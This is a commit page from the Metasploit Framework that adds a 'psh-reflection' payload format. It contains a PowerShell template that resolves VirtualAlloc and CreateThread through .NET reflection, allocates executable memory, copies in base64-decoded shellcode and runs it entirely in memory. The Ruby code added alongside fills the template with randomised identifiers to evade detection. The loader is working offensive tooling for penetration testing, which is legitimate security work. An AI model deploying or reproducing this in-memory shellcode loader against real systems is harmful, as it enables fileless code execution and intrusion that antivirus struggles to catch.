Skip to content

Commit 3299b68

Browse files
committed
Landing rapid7#2767, @Meatballs1 Powershell Reflective Payload
2 parents abe4d6c + 0c5ac01 commit 3299b68

File tree

3 files changed

+63
-1
lines changed

3 files changed

+63
-1
lines changed

LICENSE

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -15,6 +15,10 @@ License: BSD-3-clause
1515
# Last updated: 2013-Nov-04
1616
#
1717

18+
Files: data/templates/to_mem_pshreflection.ps1.template
19+
Copyright: 2012, Matthew Graeber
20+
License: BSD-3-clause
21+
1822
Files: data/john/*
1923
Copyright: 1996-2011 Solar Designer.
2024
License: GPL-2
Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
function %{func_get_proc_address} {
2+
Param ($%{var_module}, $%{var_procedure})
3+
$%{var_unsafe_native_methods} = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
4+
5+
return $%{var_unsafe_native_methods}.GetMethod('GetProcAddress').Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($%{var_unsafe_native_methods}.GetMethod('GetModuleHandle')).Invoke($null, @($%{var_module})))), $%{var_procedure}))
6+
}
7+
8+
function %{func_get_delegate_type} {
9+
Param (
10+
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $%{var_parameters},
11+
[Parameter(Position = 1)] [Type] $%{var_return_type} = [Void]
12+
)
13+
14+
$%{var_type_builder} = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
15+
$%{var_type_builder}.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
16+
$%{var_type_builder}.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $%{var_return_type}, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
17+
18+
return $%{var_type_builder}.CreateType()
19+
}
20+
21+
[Byte[]]$%{var_code} = [System.Convert]::FromBase64String("%{b64shellcode}")
22+
23+
$%{var_buffer} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll VirtualAlloc), (%{func_get_delegate_type} @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $%{var_code}.Length,0x3000, 0x40)
24+
[System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_buffer}, $%{var_code}.length)
25+
26+
$%{var_hthread} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll CreateThread), (%{func_get_delegate_type} @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$%{var_buffer},[IntPtr]::Zero,0,[IntPtr]::Zero)
27+
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll WaitForSingleObject), (%{func_get_delegate_type} @([IntPtr], [Int32]))).Invoke($%{var_hthread},0xffffffff) | Out-Null

lib/msf/util/exe.rb

Lines changed: 32 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -782,7 +782,7 @@ def self.to_exe_vba(exes='')
782782
return read_replace_script_template("to_exe.vba.template", hash_sub)
783783
end
784784

785-
def self.to_vba(framework,code,opts={})
785+
def self.to_vba(framework,code,opts={})
786786
hash_sub = {}
787787
hash_sub[:var_myByte] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
788788
hash_sub[:var_myArray] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
@@ -920,6 +920,33 @@ def self.to_win32pe_psh(framework, code, opts={})
920920
return read_replace_script_template("to_mem_old.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
921921
end
922922

923+
#
924+
# Reflection technique prevents the temporary .cs file being created for the .NET compiler
925+
# Tweaked by shellster
926+
# Originally from PowerSploit
927+
#
928+
def self.to_win32pe_psh_reflection(framework, code, opts={})
929+
# Intialize rig and value names
930+
rig = Rex::RandomIdentifierGenerator.new()
931+
rig.init_var(:func_get_proc_address)
932+
rig.init_var(:func_get_delegate_type)
933+
rig.init_var(:var_code)
934+
rig.init_var(:var_module)
935+
rig.init_var(:var_procedure)
936+
rig.init_var(:var_unsafe_native_methods)
937+
rig.init_var(:var_parameters)
938+
rig.init_var(:var_return_type)
939+
rig.init_var(:var_type_builder)
940+
rig.init_var(:var_buffer)
941+
rig.init_var(:var_hthread)
942+
943+
hash_sub = rig.to_h
944+
945+
hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)
946+
947+
return read_replace_script_template("to_mem_pshreflection.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
948+
end
949+
923950
def self.to_win32pe_vbs(framework, code, opts={})
924951
to_exe_vbs(to_win32pe(framework, code, opts), opts)
925952
end
@@ -1712,6 +1739,9 @@ def self.to_executable_fmt(framework, arch, plat, code, fmt, exeopts)
17121739

17131740
when 'psh-net'
17141741
output = Msf::Util::EXE.to_win32pe_psh_net(framework, code, exeopts)
1742+
1743+
when 'psh-reflection'
1744+
output = Msf::Util::EXE.to_win32pe_psh_reflection(framework, code, exeopts)
17151745

17161746
end
17171747

@@ -1735,6 +1765,7 @@ def self.to_executable_fmt_formats
17351765
"msi-nouac",
17361766
"psh",
17371767
"psh-net",
1768+
"psh-reflection",
17381769
"vba",
17391770
"vba-exe",
17401771
"vbs",

0 commit comments

Comments
 (0)